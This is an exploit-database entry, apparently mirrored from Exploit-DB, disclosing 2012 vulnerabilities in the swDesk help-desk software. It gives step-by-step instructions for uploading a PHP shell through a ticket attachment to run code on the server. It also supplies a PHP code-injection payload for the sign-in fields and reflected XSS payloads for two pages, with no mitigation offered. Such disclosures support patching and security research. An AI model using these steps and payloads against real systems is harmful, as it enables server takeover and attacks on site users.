header-logo
Suggest Exploit
vendor:
swDesk
by:
Red Security TEAM
7,5
CVSS
HIGH
Arbitrary File Upload, PHP Code Injection, XSS
N/A
CWE
Product Name: swDesk
Affected Version From: N/A
Affected Version To: N/A
Patch Exists: N/A
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Apache
2012

swDesk Multi Vulnerability

Go to http://server/create_ticket.php, fill all input fields and click on Submit Ticket. Click on the View Ticket and you should go to the link like http://server/view_ticket.php?email=[Your Email]&id=1. You see Send Message box, write anything there and attach your PHP file in the Upload attachment and click on Send Message. You can see your attachment above like Attachment: shell.php, click on it and you see your PHP code has been runed. For PHP Code Injection vulnerability, go to http://server/signin.php and write your php in input fields like phpi${@print(RedSecurityTEAM)}. For XSS vulnerability, go to http://server/view_ticket.php?email=example@example.com&id="onmouseover=alert(1) bad=" and http://server/kb_search.php?keywords="onmouseover=alert(1) bad="&mode=Search.

Mitigation:

N/A
Source

Exploit-DB raw data:

# 
# Title     : swDesk Multi Vulnerability
# Author    : Red Security TEAM
# Date      : 01/02/2012
# Risk      : High
# Vendor    : http://www.swdesk.com/
# Tested On : Apache
# Contact   : Info [ 4t ] RedSecurity [ d0t ] COM
# Home      : http://RedSecurity.COM
#
# Exploit   :
#
# I. Arbitrary File Upload Vulnerability
# 1. Go to http://server/create_ticket.php
# 2. Fil all Input Fields And Click on Submit Ticket
# 3. Click on the View Ticket and you should go to the link Like : http://server/view_ticket.php?email=[Your Email]&id=1
# 4. You see Send Message box , Write any thing there and attach your PHP file in the Upload attachment and Click on Send Message
# 5. You can see your attachment above Like : Attachment: shell.php , Click on it and you see your PHP code has been runed ;)
#
# II. PHP Code Injection Vulnerability
# 1. Go to http://server/signin.php : Vulnerability Input Fields : email , password
# 2. Write your php in Input Fields Like : phpi${@print(RedSecurityTEAM)}
#
# III. XSS Vulnerability
# 1. http://server/view_ticket.php?email=example@example.com&id=" onmouseover=alert(1) bad="
# 2. http://server/kb_search.php?keywords=" onmouseover=alert(1) bad="&mode=Search
#
# Thanks To : http://1337day.com/ , http://www.exploit-db.com/ , http://securityreason.com/ , http://packetstormsecurity.org/
#